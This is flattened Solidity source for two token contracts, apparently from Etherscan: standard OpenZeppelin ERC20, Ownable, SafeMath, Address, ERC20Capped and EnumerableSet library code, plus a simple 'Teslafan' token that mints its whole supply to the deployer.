// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.6.0;
contract TeslafanToken is ERC20 {
constructor() public ERC20("Teslafan", "TESLF") {
_mint(msg.sender, 700000000 * 10**18);
}
}
|
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/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Capped.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
